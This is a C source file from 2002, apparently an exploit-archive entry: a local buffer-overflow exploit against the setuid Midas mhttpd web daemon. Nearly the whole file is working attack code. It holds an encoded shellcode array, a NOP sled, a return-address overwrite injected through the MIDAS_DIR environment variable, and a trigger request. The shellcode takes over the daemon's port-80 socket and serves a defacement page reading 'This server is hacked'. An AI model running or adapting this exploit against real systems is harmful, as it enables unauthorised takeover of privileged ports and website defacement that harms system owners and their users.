/* * 12/2002 zillion[at]safemode.org * * mhttpd is setuid /setgid root and contains a local exploitable buffer overflow * (Un)Fortunately, the daemon drops its privileges after opening the network socket * and before the overflow occurs. * * mhttpd still allows any user to abuse privileged ports. This exploit demonstrates * that. It lets mhttpd open port 80, triggers the overflow, the shellcode takes * over the network socket and serves a small page with this message: * * !! This server is hacked !! * * mhttpd is part of the Midas package: http://midas.psi.ch * */ #include #include #include #include #include #include #include #define BUFFER_SIZE 280 + 8 #define NOP 0x90 #define RET 0xbfffc090 char shellcode[] = "\xeb\x38\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x04" "\xb1\x03\x89\x0e\xb1\x01\x89\x4e\x04\x89\xf1\xcd\x80\x31\xc0" "\x43\x89\x46\x04\x89\x46\x08\xb0\x66\xcd\x80\x89\xc3\x8d\x4e" "\x0c\xb2\x7a\xb0\x04\xcd\x80\x31\xc0\xb0\x06\xcd\x80\xe8\xc3" "\xff\xff\xff\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43" "\x48\x54\x54\x50\x2f\x31\x2e\x31\x20\x32\x30\x30\x20\x4f\x4b" "\x0a\x53\x65\x72\x76\x65\x72\x3a\x20\x73\x61\x66\x65\x6d\x6f" "\x64\x65\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65" "\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x0a\x0a\x3c\x48" "\x54\x4d\x4c\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x3c\x48\x32" "\x3e\x21\x21\x20\x54\x68\x69\x73\x20\x73\x65\x72\x76\x65\x72" "\x20\x69\x73\x20\x68\x61\x63\x6b\x65\x64\x20\x21\x21\x3c\x2f" "\x68\x32\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x3c\x48\x54\x4d" "\x4c\x3e"; void print_error(char * burb) { printf(" Error: %s !\n",burb); exit(0); } void usage(char *progname) { printf("\n*--- -- - Midas mhttpd local b0f exploit - -- ---*\n"); printf("\nDefault: %s -f /path/to/mhttpd",progname); printf("\nOption : %s -o \n\n",progname); exit(0); } int main(int argc, char **argv){ char buffer[BUFFER_SIZE]; char file[40]; long retaddress; int arg,offset=240; int pid, fd = 0,port = 80; struct stat sbuf; if(argc < 2) { usage(argv[0]); } while ((arg = getopt (argc, argv, "f:o:")) != -1){ switch (arg){ case 'f': strncpy(file,optarg,sizeof(file)); if(stat(argv[2], &sbuf)) { print_error("No such file");} break; case 'o': offset = atoi(optarg); if(offset < 0) { print_error("Offset must be positive");} break; default : usage(argv[0]); } } retaddress = (RET - offset); memset(buffer,NOP,BUFFER_SIZE); memcpy(buffer + BUFFER_SIZE - (sizeof(shellcode) + 8) ,shellcode,sizeof(shellcode) -1); /* Overwrite EBP and EIP */ *(long *)&buffer[BUFFER_SIZE - 8] = retaddress; *(long *)&buffer[BUFFER_SIZE - 4] = retaddress; if((pid = fork()) == 0) { sleep(2); fd = connection("127.0.0.1",80); write(fd,"GET /p00p HTTP/1.0\r\n\r\n",22); } else { setenv("MIDAS_DIR",buffer,1); if(execl(file,file,"-p","80",NULL) != 0) { } } return 0; } int connection(char* host, int port) { struct sockaddr_in s_in; int sock; s_in.sin_family = AF_INET; s_in.sin_addr.s_addr = inet_addr(host); s_in.sin_port = htons(port); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) { printf("Sorry, could not create a socket\n"); exit(1); } if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) { printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno)); exit(1); } return sock; }